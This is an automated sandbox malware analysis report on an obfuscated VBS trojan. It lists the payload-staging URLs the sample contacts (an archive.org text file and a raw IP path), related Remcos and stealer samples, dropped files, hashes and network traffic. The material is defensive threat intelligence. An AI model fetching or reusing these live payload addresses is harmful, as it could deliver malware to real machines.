ia600100.us.archive.org	207.241.227.240	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt	false	10%, Virustotal, Browse	unknown
http://172.232.189.85/2414/RNCFF.txt	false	15%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1964132789.0000026694DD0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1947344442.0000026686810000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000004.00000002.1947344442.00000266864A0000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt7uX;Znibase64Content	powershell.exe, 00000004.00000002.1947344442.0000026684F84000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.1947344442.0000026684F84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1947344442.00000266864A0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.1947344442.0000026684F84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1947344442.00000266864A0000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://go.micro	powershell.exe, 00000004.00000002.1947344442.00000266857E8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000004.00000002.1947344442.0000026686810000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1964132789.0000026694DD0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1947344442.0000026686810000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000004.00000002.1947344442.0000026686810000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.1947344442.0000026686810000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://oneget.orgX	powershell.exe, 00000004.00000002.1947344442.00000266864A0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ia600100.us.arX	powershell.exe, 00000004.00000002.1947344442.00000266861E8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ia600100.us.archive.org	powershell.exe, 00000004.00000002.1947344442.0000026684F84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1947344442.00000266861E8000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://172.232.189.85(	powershell.exe, 00000004.00000002.1947344442.000002668536D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore6	powershell.exe, 00000002.00000002.1999704630.000001543016B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.1999704630.00000154301BB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1947344442.0000026684D61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.1999704630.00000154301E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1947344442.0000026684D61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://172.232.189.85	powershell.exe, 00000004.00000002.1947344442.000002668536D000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.1947344442.0000026684F84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1947344442.00000266864A0000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://oneget.org	powershell.exe, 00000004.00000002.1947344442.00000266864A0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ia600100.us.archive.org	powershell.exe, 00000004.00000002.1947344442.0000026686458000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
207.241.227.240	ia600100.us.archive.org	United States		7941	INTERNET-ARCHIVEUS	false
172.232.189.85	unknown	United States		20940	AKAMAI-ASN1EU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523830
Start date and time:	2024-10-02 05:27:24 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	f4576JaIo9.vbs renamed because original name is a hash value
Original Sample Name:	71c7461092c4a0705d5cbe43dab4757a336144a782d667fee8758ffe8380b691.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@6/6@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 88% Number of executed functions: 8 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .vbs Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 2852 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5708 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:28:26	API Interceptor	375x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
207.241.227.240	89SkYNNpdi.vbs	Get hash	malicious	AveMaria, PrivateLoader, PureLog Stealer	Browse
	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse
	ZJbugHcHda.vbs	Get hash	malicious	PureLog Stealer	Browse
	0BO4n723Q8.vbs	Get hash	malicious	PureLog Stealer	Browse
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse
	RFQ 2024.09.26-89 vivecta.vbs	Get hash	malicious	PureLog Stealer	Browse
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse
172.232.189.85	e20Tv4sR3d.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	172.232.189.85/2414/RNCFF.txt
	#U041f#U043b#U0430#U0449#U0430#U043d#U0435.docx.doc	Get hash	malicious	Remcos, PureLog Stealer	Browse	172.232.189.85/2414/RNCFF.txt
	Docswift004994.docx.doc	Get hash	malicious	Remcos, PureLog Stealer	Browse	172.232.189.85/2414/RNCFF.txt

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ia600100.us.archive.org	89SkYNNpdi.vbs	Get hash	malicious	AveMaria, PrivateLoader, PureLog Stealer	Browse	207.241.227.240
	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	207.241.227.240
	ZJbugHcHda.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	0BO4n723Q8.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	RFQ 2024.09.26-89 vivecta.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
INTERNET-ARCHIVEUS	89SkYNNpdi.vbs	Get hash	malicious	AveMaria, PrivateLoader, PureLog Stealer	Browse	207.241.227.240
	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	207.241.227.240
	ZJbugHcHda.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	0BO4n723Q8.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.22759.7388.rtf	Get hash	malicious	Remcos	Browse	207.241.227.96
	RFQ 2024.09.26-89 vivecta.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	REQUEST FOR QUOTATION.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	207.241.235.61
AKAMAI-ASN1EU	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.67.133.187
	iJEK0xwucj.vbs	Get hash	malicious	Unknown	Browse	172.232.184.131
	https://www.evernote.com/shard/s683/sh/202c4f3c-3650-93fd-8370-eaca4fc7cbbc/9PDECUYIIdOn7uDMCJfJSDfeqawh-oxMdulb3egg-jZJLZIoB686GWk5jg	Get hash	malicious	HTMLPhisher	Browse	95.101.148.20
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.197.127.21
	https://app.glorify.com/file/1193241?format=90	Get hash	malicious	HTMLPhisher	Browse	172.233.121.253
	https://sharing.clickup.com/9011385758/t/h/868a15nvk/VTTN7SYFPHZE3IT	Get hash	malicious	HTMLPhisher	Browse	172.233.46.10
	vFjfAgq5PM.msi	Get hash	malicious	Amadey	Browse	2.16.62.200
	https://wetransfer.com/downloads/fc718a7028ccd1e273879a61c0883fe420241001145250/8110e2eb5f5a56cc2015d1b3243d9b3120241001145309/33d289?trk=TRN_TDL_01&utm_campaign=TRN_TDL_01&utm_medium=email&utm_source=sendgrid	Get hash	malicious	HTMLPhisher	Browse	2.16.238.25
	m6Y6Kh9Bwy.dll	Get hash	malicious	Unknown	Browse	172.234.250.134
	i3VUv6lXnE.exe	Get hash	malicious	Unknown	Browse	172.234.250.134

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	89SkYNNpdi.vbs	Get hash	malicious	AveMaria, PrivateLoader, PureLog Stealer	Browse	207.241.227.240
	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	207.241.227.240
	2THp7fwNQD.vbs	Get hash	malicious	Unknown	Browse	207.241.227.240
	iJEK0xwucj.vbs	Get hash	malicious	Unknown	Browse	207.241.227.240
	ZJbugHcHda.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	0BO4n723Q8.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	207.241.227.240
	file.exe	Get hash	malicious	Credential Flusher	Browse	207.241.227.240
	mitec_purchase_order_PDF (1).vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	207.241.227.240
	DHL Shipping documents 0020398484995500.exe	Get hash	malicious	AgentTesla	Browse	207.241.227.240

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/+qll/h:NllU2el/
MD5:	A228F8449DB5EE3A5E620715CD8F41DF
SHA1:	79E774D342BD0A4261CE1F7FC6EC2734687629AC
SHA-256:	C495093C40C899E10AD5F5BD9298B53C090B4A5EDC2D66742BB91A9DD17F35DC
SHA-512:	40C9E42AE02C452BCAE13DF5BADEA1BE686109BADEDB2E533AC78E813EE39B153E0290901D70E35D840FA960777A81753B40D36E843A66E81D3EB6DB066BF75B
Malicious:	false
Reputation:	low
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1kpxl44r.ssi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cwprilqk.x4c.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tkv1mzly.m2c.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uirrxnjp.esi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Entropy (8bit):	3.752742812069954
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	f4576JaIo9.vbs
File size:	219'346 bytes
MD5:	688fda516895b564b731b61a5ff25f3c
SHA1:	2ed013d46c2c403b5ec3bc344073d883015908aa
SHA256:	71c7461092c4a0705d5cbe43dab4757a336144a782d667fee8758ffe8380b691
SHA512:	27aa1dd9b752bd918b1ccb8563d85858e70b176cf24614fa0d927e4c7beb43b1bb630c3b63f946ab002006cf4040aa9e6352461a6aa8a79e743084e8e529e49a
SSDEEP:	3072:LWTp1Kk48ZBrNWDb8M7mML8JbIkxzhQqgt5pZGwriybWLiieq1gCVRQ9W+YrfRBB:LWqR8ZeDb8Omak7QWLVRVRQ9PfqD
TLSH:	F6243A0226EA7008F1F32F5696F959F94F77B9692939821D648C1B4E1BE3E80CD117B3
File Content Preview:	..b.u.e.f.i.q.G.t.W.L.C.q.f.a.G.x.d.i. .=. .".G.o.A.v.A.i.e.U.O.W.R.d.G.i.K.k.n.f.".....O.i.l.U.e.U.K.W.Z.h.l.W.W.G.I.N.a.A. .=. .".L.f.Z.h.W.p.x.i.U.N.W.G.W.h.Z.A.i.p.".....C.l.W.Z.L.L.f.k.R.N.u.P.L.u.L.W.k.L. .=. .".W.i.R.q.P.l.f.p.N.f.I.n.g.t.u.k.A.b."

File Icon


Icon Hash:	68d69b8f86ab9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 05:28:28.481570005 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:28.481631994 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:28.481724024 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:28.547956944 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:28.547983885 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.159912109 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.160098076 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.163991928 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.164017916 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.164343119 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.184935093 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.227438927 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.448832989 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.448858023 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.448873043 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.448981047 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.449002028 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.449019909 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.449048042 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.473856926 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.473875999 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.474009991 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.474029064 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.474072933 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.515839100 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.515856981 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.516022921 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.516048908 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.516097069 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.563003063 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.563020945 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.563139915 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.563167095 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.563209057 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.564965010 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.564980984 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.565047979 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.565057039 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.565093040 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.566050053 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.566070080 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.566107988 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.566116095 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.566129923 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.566158056 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.629920959 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.629939079 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.630084991 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.630120993 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.630171061 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.653764963 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.653789043 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.653911114 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.653925896 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.653970957 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.654931068 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.654947042 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.654985905 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.654994965 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.655011892 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.655034065 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.655913115 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.655929089 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.655972958 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.655981064 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.655996084 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.656023026 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.657496929 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.657522917 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.657552004 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.657561064 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.657583952 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.657603979 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.658513069 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.658529997 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.658580065 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.658588886 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.658617020 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.658632994 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.672967911 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.672986031 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.673090935 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.673103094 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.673145056 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.696907997 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.696935892 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.697031975 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.697045088 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.697086096 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.720587015 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.720619917 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.720726013 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.720757961 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.720777988 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.720803976 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.744518995 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.744543076 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.744657040 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.744674921 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.744712114 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.744940042 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.744954109 CEST	443	49704	207.241.227.240	192.168.2.8
